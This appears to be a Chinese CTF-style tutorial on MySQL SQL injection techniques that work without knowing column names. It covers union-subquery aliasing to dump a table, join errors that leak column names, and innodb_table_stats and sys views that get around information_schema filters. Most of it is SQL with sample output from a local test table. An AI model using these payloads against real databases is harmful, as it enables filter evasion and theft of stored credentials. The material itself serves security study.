无列名注入

适用场景

  • 已知表名,未知列名dump数据
  • information_schema被waf或者正则过滤

原理解析

假设当前在Lxxx数据库中,有表ctftable,其数据内容如下:

1
2
3
4
5
6
7
8
9
mysql> select * from ctftable;
+----+-------+--------+
| id | user | passwd |
+----+-------+--------+
| 1 | admin | passwd |
| 2 | user | pass |
| 3 | Lxxx | 123456 |
+----+-------+--------+
3 rows in set (0.03 sec)

首先进行联合查询:

1
2
3
4
5
6
7
8
9
10
mysql> select 1,2,3 union select * from ctftable;
+---+-------+--------+
| 1 | 2 | 3 |
+---+-------+--------+
| 1 | 2 | 3 |
| 1 | admin | passwd |
| 2 | user | pass |
| 3 | Lxxx | 123456 |
+---+-------+--------+
4 rows in set (0.00 sec)

然而这样查询的多列数据,如果想要查询单列数据,SQL语句应修改为:

1
select b from (select 1,2,3 as b union select * from ctftable)a;

这条SQL语句含义为将联合查询的第三列的别名设置为b,接着将整个一个联合查询的结果的别名设置为a,然后取出联合查询结果中的第三列,结果如下:

1
2
3
4
5
6
7
8
9
10
mysql> select b from (select 1,2,3 as b union select * from ctftable)a;
+--------+
| b |
+--------+
| 3 |
| passwd |
| pass |
| 123456 |
+--------+
4 rows in set (0.02 sec)

这时候我们再将SQL语句变形一下

1
select concat(b,0x2d,c) from (select 1,2 as b,3 as c union select * from ctftable)a;

此时,利用concat函数将两列内容合并起来,其中0x2d为字符-用于连接

该SQL语句运行结果如下:

1
2
3
4
5
6
7
8
9
10
mysql> select concat(b,0x2d,c) from (select 1,2 as b,3 as c union select * from ctftable)a;
+------------------+
| concat(b,0x2d,c) |
+------------------+
| 2-3 |
| admin-passwd |
| user-pass |
| Lxxx-123456 |
+------------------+
4 rows in set (0.01 sec)

将SQL语句稍作修改,那么就可以实现将数据表中的内容dump下来

1
2
3
4
5
6
7
8
9
10
mysql> select concat(b,0x2d,c,0x2d,d) from (select 1 as b,2 as c,3 as d union select * from ctftable)a;
+-------------------------+
| concat(b,0x2d,c,0x2d,d) |
+-------------------------+
| 1-2-3 |
| 1-admin-passwd |
| 2-user-pass |
| 3-Lxxx-123456 |
+-------------------------+
4 rows in set (0.00 sec)

那么这样,就可以不需要列名完成注入

join方法无列名注入

适用场景

  • 不知道列名

原理解析

1
2
3
4
5
6
mysql> select * from (select * from ctftable as a join ctftable as b )as c;
1060 - Duplicate column name 'id'
mysql> select * from (select * from ctftable as a join ctftable as b using(id))as c;
1060 - Duplicate column name 'user'
mysql> select * from (select * from ctftable as a join ctftable as b using(id,user))as c;
1060 - Duplicate column name 'passwd'

将第一次select * from ctftable命名为a,第二次select * from ctftable命名为b,然后将两次结果利用join合并起来作为结果c,此时利用select语句查询c结果,就会造成有两列列名一致,从而报错,

InnoDb引擎绕过information_schema

适用场景

  • information_schema被过滤
  • MySQL >= 5.6

原理解析

MySQL 5.5.8开始,InnoDB成为其默认存储引擎

在MySQL 5.6以上的版本中,InnoDb增加了innodb_index_statsinnodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

在MySQL 5.6版本中,可以使用mysql.innodb_table_statsmysql.innodb_table_index这两张表来替换information_schema.tables实现注入,但是缺点是没有列名。

1
select group_concat(database_name) from mysql.innodb_table_stats
1
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

sys库绕过information_schema

适用场景

  • MySQL >= 5.7
  • information_schema被过滤

原理解析

在MySQL 5.7中,新增了sys系统数据库,通过这个库可以快速地了解系统的元数据信息。sys库是通过视图的形式把information_schemaperformance_schema结合起来,查询出更加令人容易理解的数据。

sys库下有两种表:

  • 字母开头: 适合人阅读,显示是格式化的数;
  • x$开头 : 适合工具采集数据,原始类数据;

sys.schema_auto_increment_columns

schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。

在设计表时,一般会给一些字段设置自增,而schema_auto_increment_columns视图中保存的就是那些有自增字段的表的数据库相关信息。

本地环境中保存有lmxcms库及其相关表的信息,这是因为这个数据库中这些表的id列都是设置为自增的:

1
2
3
4
# 查询数据库
select table_schema from sys.schema_auto_increment_columns;
# 查询指定数据库的表
select table_name from sys.schema_auto_increment_columns where table_schema='lmxcms';

测试代码如下:(结果做了部分省略

1
2
3
4
5
6
7
8
9
10
11
mysql> select table_schema from sys.schema_auto_increment_columns;
+----------------+
| table_schema |
+----------------+
| yzmcms |
| lmxcms1.41test |
| lmxcms1.41 |
| moodle |
| yzncms |
+----------------+
5 rows in set (0.03 sec)
1
2
3
4
5
6
7
8
9
10
mysql> select table_name from sys.schema_auto_increment_columns where table_schema='lmxcms';
+------------------+
| table_name |
+------------------+
| lmx_user |
| lmx_tags_info |
| lmx_dyform |
| lmx_book |
+------------------+
4 rows in set (0.01 sec)

schema_table_statistics_with_buffer和x$schema_table_statistics_with_buffer

前面的schema_auto_increment_columns对应的是存在自增列的表,但是针对不存在自增列的表的话可以通过本小节的这个视图来实现查询。

比如本地Lxxx库的表中并没有含有自增列,但是在schema_table_statistics_with_buffer中能查询:(结果做了部分省略)

1
2
3
4
5
6
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema='Lxxx';
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema='Lxxx';
1
2
3
4
5
6
7
8
9
10
11
mysql> select table_schema from sys.x$schema_table_statistics_with_buffer;
+----------------+
| table_schema |
+----------------+
| lmxcms1.41test |
| yzmcms |
| moodle |
| jizhicms7869 |
| moodle |
+----------------+
5 rows in set (0.02 sec)
1
2
3
4
5
6
7
mysql> select table_name from sys.x$schema_table_statistics_with_buffer where table_schema='Lxxx';
+------------+
| table_name |
+------------+
| ctftable |
+------------+
1 row in set (0.19 sec)

参考资料